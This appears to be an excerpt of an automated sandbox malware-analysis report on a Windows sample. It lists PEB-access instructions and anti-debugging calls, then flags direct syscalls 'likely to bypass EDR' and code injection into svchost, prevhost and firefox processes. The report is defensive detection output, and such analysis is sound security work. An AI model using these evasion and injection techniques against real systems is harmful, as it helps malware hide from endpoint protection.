                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04B00 mov eax, dword ptr fs:[00000030h]2_2_03B04B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2CB7E mov eax, dword ptr fs:[00000030h]2_2_03A2CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB40 mov eax, dword ptr fs:[00000030h]2_2_03AFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8B42 mov eax, dword ptr fs:[00000030h]2_2_03AD8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28B50 mov eax, dword ptr fs:[00000030h]2_2_03A28B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEB50 mov eax, dword ptr fs:[00000030h]2_2_03ADEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86AA4 mov eax, dword ptr fs:[00000030h]2_2_03A86AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04A80 mov eax, dword ptr fs:[00000030h]2_2_03B04A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68A90 mov edx, dword ptr fs:[00000030h]2_2_03A68A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30AD0 mov eax, dword ptr fs:[00000030h]2_2_03A30AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA24 mov eax, dword ptr fs:[00000030h]2_2_03A6CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EA2E mov eax, dword ptr fs:[00000030h]2_2_03A5EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA38 mov eax, dword ptr fs:[00000030h]2_2_03A6CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCA11 mov eax, dword ptr fs:[00000030h]2_2_03ABCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEA60 mov eax, dword ptr fs:[00000030h]2_2_03ADEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov esi, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]2_2_03ABE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC69C0 mov eax, dword ptr fs:[00000030h]2_2_03AC69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A649D0 mov eax, dword ptr fs:[00000030h]2_2_03A649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]2_2_03AFA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB892A mov eax, dword ptr fs:[00000030h]2_2_03AB892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC892B mov eax, dword ptr fs:[00000030h]2_2_03AC892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC912 mov eax, dword ptr fs:[00000030h]2_2_03ABC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov edx, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC97C mov eax, dword ptr fs:[00000030h]2_2_03ABC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0946 mov eax, dword ptr fs:[00000030h]2_2_03AB0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04940 mov eax, dword ptr fs:[00000030h]2_2_03B04940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30887 mov eax, dword ptr fs:[00000030h]2_2_03A30887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC89D mov eax, dword ptr fs:[00000030h]2_2_03ABC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]2_2_03AFA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]2_2_03A5E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B008C0 mov eax, dword ptr fs:[00000030h]2_2_03B008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,0_2_002F0B62
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002C2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002C2622
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002B083F
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B09D5 SetUnhandledExceptionFilter,0_2_002B09D5
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_002B0C21

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtCreateMutant: Direct from: 0x774635CCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtWriteVirtualMemory: Direct from: 0x77462E3CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtMapViewOfSection: Direct from: 0x77462D1CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtResumeThread: Direct from: 0x774636ACJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtProtectVirtualMemory: Direct from: 0x77462F9CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtSetInformationProcess: Direct from: 0x77462C5CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtSetInformationThread: Direct from: 0x774563F9Jump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtClose: Direct from: 0x77457B2E
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtNotifyChangeKey: Direct from: 0x77463C2CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtAllocateVirtualMemory: Direct from: 0x77462BFCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQueryInformationProcess: Direct from: 0x77462C26Jump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtResumeThread: Direct from: 0x77462FBCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtReadFile: Direct from: 0x77462ADCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQuerySystemInformation: Direct from: 0x77462DFCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtDelayExecution: Direct from: 0x77462DDCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtAllocateVirtualMemory: Direct from: 0x77463C9CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtClose: Direct from: 0x77462B6C
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtCreateUserProcess: Direct from: 0x7746371CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtWriteVirtualMemory: Direct from: 0x7746490CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtAllocateVirtualMemory: Direct from: 0x774648ECJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQuerySystemInformation: Direct from: 0x774648CCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQueryVolumeInformationFile: Direct from: 0x77462F2CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtReadVirtualMemory: Direct from: 0x77462E8CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtCreateKey: Direct from: 0x77462C6CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtSetInformationThread: Direct from: 0x77462B4CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQueryAttributesFile: Direct from: 0x77462E6CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtDeviceIoControlFile: Direct from: 0x77462AECJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtOpenSection: Direct from: 0x77462E0CJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtCreateFile: Direct from: 0x77462FECJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtOpenFile: Direct from: 0x77462DCCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtQueryInformationToken: Direct from: 0x77462CACJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtTerminateThread: Direct from: 0x77462FCCJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtAllocateVirtualMemory: Direct from: 0x77462BECJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeNtOpenKeyEx: Direct from: 0x77462B9CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\prevhost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\prevhost.exeThread register set: target process: 5760Jump to behavior
                Queues an APC in another process (thread injection)
